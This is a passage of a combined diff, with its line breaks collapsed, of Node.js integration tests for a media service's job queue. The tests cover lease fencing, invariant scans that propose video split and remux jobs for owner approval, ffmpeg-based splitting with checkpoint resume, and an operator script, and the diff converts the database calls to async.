assert.strictEqual(sawAbort.code, 'media.job.lease_lost');++ await waitFor(() => queue.staleStats().fail === 2);++ const after = await queue.get(slow.id);++ assert.deepStrictEqual([after.status, after.lease_token, after.error_code], ['running', theirs, null], "the handler's failure did not overwrite the other claim");++ assert.strictEqual(queue.staleStats().renew, 2);++ worker.stop();++ console.log('✅ the worker aborts a job whose lease it lost, and its failure is refused');-- db.close();-- fs.rmSync(tmp, { recursive: true, force: true });-- console.log('jobs fencing: all checks passed');-- process.exit(0);++ await db.close();++ fs.rmSync(tmp, { recursive: true, force: true });++ console.log('jobs fencing: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,221 +12,224 @@ const path = require('path');const http = require('http');const { spawnSync } = require('child_process');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-jobinv-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = dir('clips');--process.env.FILES_PATH = dir('files');--process.env.THUMBNAILS_PATH = dir('thumbnails');--process.env.PASTES_PATH = dir('pastes');--process.env.OBJECTS_PATH = dir('objects');--process.env.MEDIA_JOBS_POLL_MS = '50';--process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';--process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';----const MB = 1024 * 1024;--const stub = http.createServer((req, res) => {-- req.resume();-- req.on('end', () => {-- res.setHeader('Content-Type', 'application/json');-- if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));-- res.statusCode = 404; res.end('{}');-- });--});--const sleep = (ms) => new Promise((r) => setTimeout(r, ms));--const waitFor = async (fn, ms = 20000) => {-- const end = Date.now() + ms;-- while (Date.now() < end) { if (await fn()) return true; await sleep(25); }-- return false;--};--const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;--(async () => {-- await new Promise((r) => stub.listen(0, '127.0.0.1', r));-- const base = `http://127.0.0.1:${stub.address().port}`;-- const db = require('../server/db/database');-- const conn = db.getDb();-- db.upsertApp({ app_id: 'live', api_key: 'live-key' });-- const events = require('../server/events');-- events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });-- const config = require('../server/config');-- const model = require('../server/objects/model');-- const queue = require('../server/jobs/queue');-- const worker = require('../server/jobs/worker');-- const scan = require('../server/jobs/invariant-scan');-- const outbox = () => conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all().map((r) => JSON.parse(r.envelope));-- const jobEvents = (id) => outbox().filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);---- const express = require('express');-- const app = express();-- app.use(express.json());-- app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));-- const server = http.createServer(app);-- await new Promise((r) => server.listen(0, '127.0.0.1', r));-- const api = `http://127.0.0.1:${server.address().port}`;-- const call = async (method, p, { body, headers = {} } = {}) => {-- const h = { authorization: 'Bearer live-key', ...headers };-- if (body !== undefined) h['content-type'] = 'application/json';-- const res = await fetch(api + p, { method, headers: h, body: body === undefined ? undefined : JSON.stringify(body) });-- return { status: res.status, body: await res.json().catch(() => null) };++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-jobinv-'));++ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };++ process.env.DB_PATH = path.join(tmp, 'media.db');++ process.env.VOD_PATH = dir('vods');++ process.env.CLIPS_PATH = dir('clips');++ process.env.FILES_PATH = dir('files');++ process.env.THUMBNAILS_PATH = dir('thumbnails');++ process.env.PASTES_PATH = dir('pastes');++ process.env.OBJECTS_PATH = dir('objects');++ process.env.MEDIA_JOBS_POLL_MS = '50';++ process.env.MEDIA_INVARIANT_SCAN_HOURS = '0';++ process.env.MEDIA_UPLOAD_MIN_FREE_MB = '0';++++ const MB = 1024 * 1024;++ const stub = http.createServer((req, res) => {++ req.resume();++ req.on('end', () => {++ res.setHeader('Content-Type', 'application/json');++ if (req.url === '/oauth/token') return res.end(JSON.stringify({ access_token: 'tok', token_type: 'Bearer', expires_in: 300 }));++ res.statusCode = 404; res.end('{}');++ });++ });++ const sleep = (ms) => new Promise((r) => setTimeout(r, ms));++ const waitFor = async (fn, ms = 20000) => {++ const end = Date.now() + ms;++ while (Date.now() < end) { if (await fn()) return true; await sleep(25); }++ return false;};-- const mk = (o) => model.createObject({ app_id: 'live', owner_user_id: 5, lifecycle_status: 'ready', mime_type: 'video/webm', ...o });---- // ── A. The validator proposes, never runs ──-- const bigVod = mk({ kind: 'vod', visibility: 'public', size_bytes: 1536 * MB, metadata: { duration_seconds: 3600 } });-- const noDur = mk({ kind: 'vod', visibility: 'unlisted', size_bytes: 800 * MB, metadata: {} });-- mk({ kind: 'vod', visibility: 'private', size_bytes: 2048 * MB, metadata: { duration_seconds: 10 } });-- mk({ kind: 'clip', visibility: 'public', size_bytes: 100 * MB });-- mk({ kind: 'clip', visibility: 'public', size_bytes: 400 * MB, metadata: { duration_seconds: 60 } });---- const before = db.get('SELECT COUNT(*) AS n FROM media_jobs').n;-- const dry = scan.scanTenant('live', { dryRun: true });-- assert.deepStrictEqual([dry.violations, dry.proposed, dry.by_type], [2, 2, { 'object.split': 1, 'object.remux': 1 }]);-- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_jobs').n, before, '--dry-run proposes nothing');-- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_invariant_violations').n, 0, '--dry-run records nothing');---- const s1 = queue.enqueue({ appId: 'live', type: 'invariant.scan', createdBy: 'test' });-- const ran = await worker.runNow(s1.job.id);-- assert.strictEqual(ran.status, 'succeeded', ran.error);-- const r1 = queue.jobPublic(ran).result;-- assert.deepStrictEqual([r1.violations, r1.proposed, r1.already_proposed, r1.counts.warn], [2, 2, 0, 1]);-- const proposals = db.all("SELECT * FROM media_jobs WHERE status = 'proposed' ORDER BY id").map(queue.jobPublic);-- const split = proposals.find((p) => p.object_id === bigVod);-- const remux = proposals.find((p) => p.object_id === noDur);-- assert.strictEqual(split.type, 'object.split');-- assert.deepStrictEqual([split.params.parts, split.params.segment_seconds, split.params.max_bytes], [6, 600, 500 * MB], '1.5 GB in parts of about the 256 MB target');-- assert.strictEqual(remux.type, 'object.remux', 'no duration: remux first');-- assert.strictEqual(split.idempotency_key, `invariant:${bigVod}:object.split`);-- assert.deepStrictEqual(jobEvents(split.id), ['media.job.proposed']);-- const proposedEv = outbox().find((e) => e.subject.id === split.id).payload;-- assert.deepStrictEqual([proposedEv.status, proposedEv.type, proposedEv.object_id, proposedEv.decided_at, proposedEv.started_at, proposedEv.has_result], ['proposed', 'object.split', bigVod, null, null, false]);-- for (const k of ['params', 'idempotency_key', 'created_by', 'decided_by', 'owner_user_id', 'result', 'error']) assert.ok(!(k in proposedEv), `the proposal's event has no ${k}`);-- assert.ok(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.000Z$/.test(proposedEv.created_at), 'ISO 8601 UTC');-- assert.strictEqual(outbox().find((e) => e.subject.id === split.id).priority, 'important', 'a proposal waiting for its owner is important');---- worker.start();-- for (let i = 0; i < 5; i++) { worker.kick(); await sleep(60); }-- assert.deepStrictEqual([queue.get(split.id).status, queue.get(remux.id).status, queue.get(split.id).attempts], ['proposed', 'proposed', 0], 'the worker never runs a proposal');---- const again = scan.scanTenant('live');-- assert.deepStrictEqual([again.proposed, again.already_proposed], [0, 2], 'a later scan proposes nothing twice');-- let r = await call('POST', `/api/v2/live/jobs/${remux.id}/cancel`);-- assert.deepStrictEqual([r.status, r.body.job.status, r.body.job.decided_by], [200, 'cancelled', 'app:live'], 'the owner rejects a proposal');-- scan.scanTenant('live');-- assert.strictEqual(queue.get(remux.id).status, 'cancelled', 'a rejected proposal stays rejected');-- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_jobs WHERE object_id = ?', [noDur]).n, 1, 'and is not proposed again');-- model.updateObject(bigVod, { visibility: 'private' });-- const w = scan.scanTenant('live');-- assert.strictEqual(w.withdrawn, 1);-- assert.deepStrictEqual([queue.get(split.id).status, queue.get(split.id).decided_by], ['cancelled', 'system:invariant.scan'], 'a proposal whose object stopped violating is withdrawn');---- config.jobs.invariantScanHours = 24;-- model.updateObject(bigVod, { visibility: 'public' });-- const scheduled = worker.scheduleInvariantScans(Date.now());-- assert.strictEqual(scheduled, 1, 'one scheduled scan per tenant with public playback objects');-- assert.strictEqual(worker.scheduleInvariantScans(Date.now()), 0, 'once per period');-- config.jobs.invariantScanHours = 0;-- assert.ok(await waitFor(() => db.get("SELECT status FROM media_jobs WHERE job_type = 'invariant.scan' AND created_by = 'system:schedule'").status === 'succeeded'));-- console.log('✅ invariant.scan proposes split/remux for public objects over the limit; nothing runs until the owner decides');---- // ── B. Approved and explicit split/remux jobs (ffmpeg) ──-- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split', object_id: model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', size_bytes: 1 }), params: { parts: 2 } } });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'only media objects are split');-- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split', object_id: bigVod, params: { parts: 1 } } });-- assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'parts 2-1000');---- if (!hasFfmpeg) {-- console.log('split/remux execution: skipped (ffmpeg not found)');-- } else {-- const src = path.join(process.env.VOD_PATH, 'rec-10.mp4');-- const mk6 = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=6:size=160x120:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=6',-- '-c:v', 'mpeg4', '-g', '10', '-c:a', 'aac', '-shortest', src]);-- assert.strictEqual(mk6.status, 0, String(mk6.stderr));-- const size = fs.statSync(src).size;-- conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) VALUES (10, 'live', 5, 'Six seconds', ?, ?, 1, 6)").run(src, size);-- const vodObj = model.sync('vod', 10).id;-- const srcBefore = model.getObject(vodObj);-- const locsBefore = JSON.stringify(model.listLocations(vodObj));---- // The validator proposes a split once the policy says the object is too large; the owner approves it.-- config.objects.publicMaxMb = 0;-- config.objects.publicTargetMb = 0;-- scan.scanTenant('live');-- const prop = queue.jobPublic(db.get("SELECT * FROM media_jobs WHERE object_id = ? AND status = 'proposed'", [vodObj]));-- assert.deepStrictEqual([prop.type, prop.params.segment_seconds], ['object.split', 1]);-- r = await call('POST', `/api/v2/live/jobs/${prop.id}/approve`);-- assert.deepStrictEqual([r.status, r.body.job.status, r.body.job.decided_by], [200, 'queued', 'app:live']);-- assert.ok(await waitFor(() => ['succeeded', 'failed'].includes(queue.get(prop.id).status)), 'the approved split runs');-- const done = queue.jobPublic(queue.get(prop.id));-- assert.strictEqual(done.status, 'succeeded', done.error);-- assert.deepStrictEqual(jobEvents(prop.id), ['media.job.proposed', 'media.job.queued', 'media.job.started', 'media.job.succeeded']);-- assert.strictEqual(done.result.parts.length, 6, '6 s in 1 s parts');-- let total = 0;-- for (const p of done.result.parts) {-- const o = model.getObject(p.object_id);-- assert.deepStrictEqual([o.visibility, o.lifecycle_status, o.kind, o.app_id, o.owner_user_id, o.legacy_ref, o.mime_type], ['private', 'ready', 'vod', 'live', 5, null, 'video/mp4']);-- const loc = model.listLocations(o.id)[0];-- assert.deepStrictEqual([loc.provider, loc.state, loc.size_bytes], ['local', 'present', o.size_bytes]);-- assert.ok(fs.existsSync(loc.key) && loc.key.startsWith(path.join(process.env.OBJECTS_PATH, 'live')));-- const rel = db.get("SELECT * FROM media_relationships WHERE from_object_id = ? AND relation = 'derived_from'", [o.id]);-- assert.strictEqual(rel.to_object_id, vodObj);-- assert.deepStrictEqual([JSON.parse(rel.metadata).job_id, JSON.parse(rel.metadata).part], [prop.id, p.part]);-- total += p.duration_seconds;++ const hasFfmpeg = spawnSync('ffmpeg', ['-version']).status === 0;++++ (async () => {++ await new Promise((r) => stub.listen(0, '127.0.0.1', r));++ const base = `http://127.0.0.1:${stub.address().port}`;++ const db = require('../server/db/database');++ const conn = db.getDb();++ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });++ const events = require('../server/events');++ events.init({ eventsUrl: base, clientSecret: 's', networkUrl: base, intervalMs: 60000 });++ const config = require('../server/config');++ const model = require('../server/objects/model');++ const queue = require('../server/jobs/queue');++ const worker = require('../server/jobs/worker');++ const scan = require('../server/jobs/invariant-scan');++ const outbox = async () => (await conn.prepare('SELECT envelope FROM event_outbox ORDER BY id').all()).map((r) => (typeof r.envelope === 'string' ? JSON.parse(r.envelope) : r.envelope));++ const jobEvents = async (id) => (await outbox()).filter((e) => e.subject.type === 'job' && e.subject.id === id).map((e) => e.event_type);++++ const express = require('express');++ const app = express();++ app.use(express.json());++ app.use('/api/v2/:app/jobs', require('../server/jobs/routes'));++ const server = http.createServer(app);++ await new Promise((r) => server.listen(0, '127.0.0.1', r));++ const api = `http://127.0.0.1:${server.address().port}`;++ const call = async (method, p, { body, headers = {} } = {}) => {++ const h = { authorization: 'Bearer live-key', ...headers };++ if (body !== undefined) h['content-type'] = 'application/json';++ const res = await fetch(api + p, { method, headers: h, body: body === undefined ? undefined : JSON.stringify(body) });++ return { status: res.status, body: await res.json().catch(() => null) };++ };++ const mk = async (o) => await model.createObject({ app_id: 'live', owner_user_id: 5, lifecycle_status: 'ready', mime_type: 'video/webm', ...o });++++ // ── A. The validator proposes, never runs ──++ const bigVod = await mk({ kind: 'vod', visibility: 'public', size_bytes: 1536 * MB, metadata: { duration_seconds: 3600 } });++ const noDur = await mk({ kind: 'vod', visibility: 'unlisted', size_bytes: 800 * MB, metadata: {} });++ await mk({ kind: 'vod', visibility: 'private', size_bytes: 2048 * MB, metadata: { duration_seconds: 10 } });++ await mk({ kind: 'clip', visibility: 'public', size_bytes: 100 * MB });++ await mk({ kind: 'clip', visibility: 'public', size_bytes: 400 * MB, metadata: { duration_seconds: 60 } });++++ const before = (await db.get('SELECT COUNT(*) AS n FROM media_jobs')).n;++ const dry = await scan.scanTenant('live', { dryRun: true });++ assert.deepStrictEqual([dry.violations, dry.proposed, dry.by_type], [2, 2, { 'object.split': 1, 'object.remux': 1 }]);++ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_jobs')).n, before, '--dry-run proposes nothing');++ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_invariant_violations')).n, 0, '--dry-run records nothing');++++ const s1 = await queue.enqueue({ appId: 'live', type: 'invariant.scan', createdBy: 'test' });++ const ran = await worker.runNow(s1.job.id);++ assert.strictEqual(ran.status, 'succeeded', ran.error);++ const r1 = queue.jobPublic(ran).result;++ assert.deepStrictEqual([r1.violations, r1.proposed, r1.already_proposed, r1.counts.warn], [2, 2, 0, 1]);++ const proposals = (await db.all("SELECT * FROM media_jobs WHERE status = 'proposed' ORDER BY id")).map(queue.jobPublic);++ const split = proposals.find((p) => p.object_id === bigVod);++ const remux = proposals.find((p) => p.object_id === noDur);++ assert.strictEqual(split.type, 'object.split');++ assert.deepStrictEqual([split.params.parts, split.params.segment_seconds, split.params.max_bytes], [6, 600, 500 * MB], '1.5 GB in parts of about the 256 MB target');++ assert.strictEqual(remux.type, 'object.remux', 'no duration: remux first');++ assert.strictEqual(split.idempotency_key, `invariant:${bigVod}:object.split`);++ assert.deepStrictEqual(await jobEvents(split.id), ['media.job.proposed']);++ const proposedEv = (await outbox()).find((e) => e.subject.id === split.id).payload;++ assert.deepStrictEqual([proposedEv.status, proposedEv.type, proposedEv.object_id, proposedEv.decided_at, proposedEv.started_at, proposedEv.has_result], ['proposed', 'object.split', bigVod, null, null, false]);++ for (const k of ['params', 'idempotency_key', 'created_by', 'decided_by', 'owner_user_id', 'result', 'error']) assert.ok(!(k in proposedEv), `the proposal's event has no ${k}`);++ assert.ok(/^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}\.000Z$/.test(proposedEv.created_at), 'ISO 8601 UTC');++ assert.strictEqual((await outbox()).find((e) => e.subject.id === split.id).priority, 'important', 'a proposal waiting for its owner is important');++++ await worker.start();++ for (let i = 0; i < 5; i++) { worker.kick(); await sleep(60); }++ assert.deepStrictEqual([(await queue.get(split.id)).status, (await queue.get(remux.id)).status, (await queue.get(split.id)).attempts], ['proposed', 'proposed', 0], 'the worker never runs a proposal');++++ const again = await scan.scanTenant('live');++ assert.deepStrictEqual([again.proposed, again.already_proposed], [0, 2], 'a later scan proposes nothing twice');++ let r = await call('POST', `/api/v2/live/jobs/${remux.id}/cancel`);++ assert.deepStrictEqual([r.status, r.body.job.status, r.body.job.decided_by], [200, 'cancelled', 'app:live'], 'the owner rejects a proposal');++ await scan.scanTenant('live');++ assert.strictEqual((await queue.get(remux.id)).status, 'cancelled', 'a rejected proposal stays rejected');++ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_jobs WHERE object_id = ?', [noDur])).n, 1, 'and is not proposed again');++ await model.updateObject(bigVod, { visibility: 'private' });++ const w = await scan.scanTenant('live');++ assert.strictEqual(w.withdrawn, 1);++ assert.deepStrictEqual([(await queue.get(split.id)).status, (await queue.get(split.id)).decided_by], ['cancelled', 'system:invariant.scan'], 'a proposal whose object stopped violating is withdrawn');++++ config.jobs.invariantScanHours = 24;++ await model.updateObject(bigVod, { visibility: 'public' });++ const scheduled = await worker.scheduleInvariantScans(Date.now());++ assert.strictEqual(scheduled, 1, 'one scheduled scan per tenant with public playback objects');++ assert.strictEqual(await worker.scheduleInvariantScans(Date.now()), 0, 'once per period');++ config.jobs.invariantScanHours = 0;++ assert.ok(await waitFor(async () => (await db.get("SELECT status FROM media_jobs WHERE job_type = 'invariant.scan' AND created_by = 'system:schedule'")).status === 'succeeded'));++ console.log('✅ invariant.scan proposes split/remux for public objects over the limit; nothing runs until the owner decides');++++ // ── B. Approved and explicit split/remux jobs (ffmpeg) ──++ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split', object_id: await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: 'ready', size_bytes: 1 }), params: { parts: 2 } } });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'only media objects are split');++ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.split', object_id: bigVod, params: { parts: 1 } } });++ assert.deepStrictEqual([r.status, r.body.code], [400, 'media.job.invalid'], 'parts 2-1000');++++ if (!hasFfmpeg) {++ console.log('split/remux execution: skipped (ffmpeg not found)');++ } else {++ const src = path.join(process.env.VOD_PATH, 'rec-10.mp4');++ const mk6 = spawnSync('ffmpeg', ['-v', 'error', '-y', '-f', 'lavfi', '-i', 'testsrc=duration=6:size=160x120:rate=10', '-f', 'lavfi', '-i', 'sine=frequency=440:duration=6',++ '-c:v', 'mpeg4', '-g', '10', '-c:a', 'aac', '-shortest', src]);++ assert.strictEqual(mk6.status, 0, String(mk6.stderr));++ const size = fs.statSync(src).size;++ await conn.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, is_public, duration_seconds) OVERRIDING SYSTEM VALUE VALUES (10, 'live', 5, 'Six seconds', ?, ?, 1, 6) RETURNING id").run(src, size);++ const vodObj = (await model.sync('vod', 10)).id;++ const srcBefore = await model.getObject(vodObj);++ const locsBefore = JSON.stringify(await model.listLocations(vodObj));++++ // The validator proposes a split once the policy says the object is too large; the owner approves it.++ config.objects.publicMaxMb = 0;++ config.objects.publicTargetMb = 0;++ await scan.scanTenant('live');++ const prop = queue.jobPublic(await db.get("SELECT * FROM media_jobs WHERE object_id = ? AND status = 'proposed'", [vodObj]));++ assert.deepStrictEqual([prop.type, prop.params.segment_seconds], ['object.split', 1]);++ r = await call('POST', `/api/v2/live/jobs/${prop.id}/approve`);++ assert.deepStrictEqual([r.status, r.body.job.status, r.body.job.decided_by], [200, 'queued', 'app:live']);++ assert.ok(await waitFor(async () => ['succeeded', 'failed'].includes((await queue.get(prop.id)).status)), 'the approved split runs');++ const done = queue.jobPublic(await queue.get(prop.id));++ assert.strictEqual(done.status, 'succeeded', done.error);++ assert.deepStrictEqual(await jobEvents(prop.id), ['media.job.proposed', 'media.job.queued', 'media.job.started', 'media.job.succeeded']);++ assert.strictEqual(done.result.parts.length, 6, '6 s in 1 s parts');++ let total = 0;++ for (const p of done.result.parts) {++ const o = await model.getObject(p.object_id);++ assert.deepStrictEqual([o.visibility, o.lifecycle_status, o.kind, o.app_id, o.owner_user_id, o.legacy_ref, o.mime_type], ['private', 'ready', 'vod', 'live', 5, null, 'video/mp4']);++ const loc = (await model.listLocations(o.id))[0];++ assert.deepStrictEqual([loc.provider, loc.state, loc.size_bytes], ['local', 'present', o.size_bytes]);++ assert.ok(fs.existsSync(loc.key) && loc.key.startsWith(path.join(process.env.OBJECTS_PATH, 'live')));++ const rel = await db.get("SELECT * FROM media_relationships WHERE from_object_id = ? AND relation = 'derived_from'", [o.id]);++ assert.strictEqual(rel.to_object_id, vodObj);++ assert.deepStrictEqual([JSON.parse(rel.metadata).job_id, JSON.parse(rel.metadata).part], [prop.id, p.part]);++ total += p.duration_seconds;++ }++ assert.ok(Math.abs(total - 6) < 0.5, 'the parts cover the source');++ const srcAfter = await model.getObject(vodObj);++ assert.deepStrictEqual([srcAfter.visibility, srcAfter.size_bytes, srcAfter.lifecycle_status, srcAfter.content_hash], [srcBefore.visibility, srcBefore.size_bytes, 'ready', srcBefore.content_hash], 'the source is unchanged');++ assert.strictEqual(JSON.stringify(await model.listLocations(vodObj)), locsBefore);++ assert.strictEqual(fs.statSync(src).size, size, 'its bytes too');++ assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.jobs', prop.id)), 'the work directory is removed');++ config.objects.publicMaxMb = 500;++ config.objects.publicTargetMb = 256;++++ // A retry resumes after the parts its checkpoint names.++ const resumed = await queue.enqueue({ appId: 'live', type: 'object.split', objectId: vodObj, params: { parts: 3 }, createdBy: 'test' });++ await queue.saveCheckpoint(resumed.job.id, { parts: [{ part: 1, object_id: 'med_done_before', start_seconds: 0, duration_seconds: 2, size_bytes: 10 }] });++ assert.ok(await waitFor(async () => (await queue.get(resumed.job.id)).status === 'succeeded'));++ const rr = queue.jobPublic(await queue.get(resumed.job.id)).result;++ assert.deepStrictEqual(rr.parts.map((p) => p.part), [1, 2, 3]);++ assert.strictEqual(rr.parts[0].object_id, 'med_done_before', 'part 1 was not cut again');++ assert.strictEqual((await db.get("SELECT COUNT(*) AS n FROM media_relationships WHERE relation = 'derived_from' AND json_extract(metadata, '$.job_id') = ?", [resumed.job.id])).n, 2);++++ // A remux: one private object, the source's remux variant.++ r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.remux', object_id: `legacy:live:vod:10` }, headers: { 'idempotency-key': 'remux-10' } });++ assert.strictEqual(r.status, 202);++ assert.ok(await waitFor(async () => (await queue.get(r.body.job.id)).status === 'succeeded'));++ const rm = queue.jobPublic(await queue.get(r.body.job.id)).result;++ assert.deepStrictEqual([(await model.getObject(rm.object_id)).visibility, Math.round(rm.duration_seconds), (await model.getVariant(vodObj, 'remux')).derived_object_id], ['private', 6, rm.object_id]);++ console.log('✅ an approved split and a remux make private derived objects; the source is untouched; retries resume');}-- assert.ok(Math.abs(total - 6) < 0.5, 'the parts cover the source');-- const srcAfter = model.getObject(vodObj);-- assert.deepStrictEqual([srcAfter.visibility, srcAfter.size_bytes, srcAfter.lifecycle_status, srcAfter.content_hash], [srcBefore.visibility, srcBefore.size_bytes, 'ready', srcBefore.content_hash], 'the source is unchanged');-- assert.strictEqual(JSON.stringify(model.listLocations(vodObj)), locsBefore);-- assert.strictEqual(fs.statSync(src).size, size, 'its bytes too');-- assert.ok(!fs.existsSync(path.join(process.env.OBJECTS_PATH, '.jobs', prop.id)), 'the work directory is removed');-- config.objects.publicMaxMb = 500;-- config.objects.publicTargetMb = 256;---- // A retry resumes after the parts its checkpoint names.-- const resumed = queue.enqueue({ appId: 'live', type: 'object.split', objectId: vodObj, params: { parts: 3 }, createdBy: 'test' });-- queue.saveCheckpoint(resumed.job.id, { parts: [{ part: 1, object_id: 'med_done_before', start_seconds: 0, duration_seconds: 2, size_bytes: 10 }] });-- assert.ok(await waitFor(() => queue.get(resumed.job.id).status === 'succeeded'));-- const rr = queue.jobPublic(queue.get(resumed.job.id)).result;-- assert.deepStrictEqual(rr.parts.map((p) => p.part), [1, 2, 3]);-- assert.strictEqual(rr.parts[0].object_id, 'med_done_before', 'part 1 was not cut again');-- assert.strictEqual(db.get("SELECT COUNT(*) AS n FROM media_relationships WHERE relation = 'derived_from' AND json_extract(metadata, '$.job_id') = ?", [resumed.job.id]).n, 2);---- // A remux: one private object, the source's remux variant.-- r = await call('POST', '/api/v2/live/jobs', { body: { type: 'object.remux', object_id: `legacy:live:vod:10` }, headers: { 'idempotency-key': 'remux-10' } });-- assert.strictEqual(r.status, 202);-- assert.ok(await waitFor(() => queue.get(r.body.job.id).status === 'succeeded'));-- const rm = queue.jobPublic(queue.get(r.body.job.id)).result;-- assert.deepStrictEqual([model.getObject(rm.object_id).visibility, Math.round(rm.duration_seconds), model.getVariant(vodObj, 'remux').derived_object_id], ['private', 6, rm.object_id]);-- console.log('✅ an approved split and a remux make private derived objects; the source is untouched; retries resume');-- }---- // ── C. The operator script: scan (dry run by default), approve, cancel; events go to the service's outbox ──-- worker.stop();-- const script = (...a) => spawnSync(process.execPath, [path.join(__dirname, '../scripts/media-jobs.js'), ...a], { env: process.env, encoding: 'utf8' });-- const jobsBefore = db.get('SELECT COUNT(*) AS n FROM media_jobs').n;-- let sc = script('scan', '--app', 'live', '--json');-- assert.strictEqual(sc.status, 0, sc.stderr);-- assert.strictEqual(JSON.parse(sc.stdout).live.dry_run, true);-- assert.strictEqual(db.get('SELECT COUNT(*) AS n FROM media_jobs').n, jobsBefore, 'scan is a dry run unless --apply');-- const manual = queue.enqueue({ appId: 'live', type: 'object.remux', objectId: bigVod, status: 'proposed', createdBy: 'test' });-- sc = script('approve', manual.job.id, '--by', 'owner');-- assert.strictEqual(sc.status, 0, sc.stderr);-- assert.deepStrictEqual([queue.get(manual.job.id).status, queue.get(manual.job.id).decided_by], ['queued', 'owner']);-- assert.ok(jobEvents(manual.job.id).includes('media.job.queued'), "the script's change queued its event in the outbox");-- const approvedEv = outbox().filter((e) => e.subject.id === manual.job.id && e.event_type === 'media.job.queued').pop().payload;-- assert.ok(/Z$/.test(approvedEv.decided_at) && !('decided_by' in approvedEv) && !JSON.stringify(approvedEv).includes('owner'), 'the approval is dated, its decider is not published');-- sc = script('cancel', manual.job.id, '--by', 'owner');-- assert.strictEqual(sc.status, 0, sc.stderr);-- assert.strictEqual(queue.get(manual.job.id).status, 'cancelled');-- assert.strictEqual(script('approve', 'mjob_nope').status, 1);-- sc = script('list', '--status', 'cancelled', '--json');-- assert.ok(JSON.parse(sc.stdout).jobs.some((j) => j.id === manual.job.id));-- console.log('✅ scripts/media-jobs.js: scan dry-run, approve and cancel with their events');---- events._reset();-- server.close();-- stub.close();-- console.log('\njobs-invariant: all checks passed');-- process.exit(0);++++ // ── C. The operator script: scan (dry run by default), approve, cancel; events go to the service's outbox ──++ worker.stop();++ const { runScript } = require('./helpers/run-script');++ const script = async (...a) => { const r = await runScript(path.join(__dirname, '../scripts/media-jobs.js'), a); return { status: r.code, stdout: r.out, stderr: r.err }; };++ const jobsBefore = (await db.get('SELECT COUNT(*) AS n FROM media_jobs')).n;++ let sc = await script('scan', '--app', 'live', '--json');++ assert.strictEqual(sc.status, 0, sc.stderr);++ assert.strictEqual(JSON.parse(sc.stdout).live.dry_run, true);++ assert.strictEqual((await db.get('SELECT COUNT(*) AS n FROM media_jobs')).n, jobsBefore, 'scan is a dry run unless --apply');++ const manual = await queue.enqueue({ appId: 'live', type: 'object.remux', objectId: bigVod, status: 'proposed', createdBy: 'test' });++ sc = await script('approve', manual.job.id, '--by', 'owner');++ assert.strictEqual(sc.status, 0, sc.stderr);++ assert.deepStrictEqual([(await queue.get(manual.job.id)).status, (await queue.get(manual.job.id)).decided_by], ['queued', 'owner']);++ assert.ok((await jobEvents(manual.job.id)).includes('media.job.queued'), "the script's change queued its event in the outbox");++ const approvedEv = (await outbox()).filter((e) => e.subject.id === manual.job.id && e.event_type === 'media.job.queued').pop().payload;++ assert.ok(/Z$/.test(approvedEv.decided_at) && !('decided_by' in approvedEv) && !JSON.stringify(approvedEv).includes('owner'), 'the approval is dated, its decider is not published');++ sc = await script('cancel', manual.job.id, '--by', 'owner');++ assert.strictEqual(sc.status, 0, sc.stderr);++ assert.strictEqual((await queue.get(manual.job.id)).status, 'cancelled');++ assert.strictEqual((await script('approve', 'mjob_nope')).status, 1);++ sc = await script('list', '--status', 'cancelled', '--json');++ assert.ok(JSON.parse(sc.stdout).jobs.some((j) => j.id === manual.job.id));++ console.log('✅ scripts/media-jobs.js: scan dry-run, approve and cancel with their events');++++ events._reset();++ server.close();++ stub.close();++ console.log('\njobs-invariant: all checks passed');++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -10,132 +10,134 @@ const os = require('os');const path = require('path');const http = require('http');const { spawnSync } = require('child_process');--const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-previews-'));--const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };--process.env.DB_PATH = path.join(tmp, 'media.db');--process.env.VOD_PATH = dir('vods');--process.env.CLIPS_PATH = 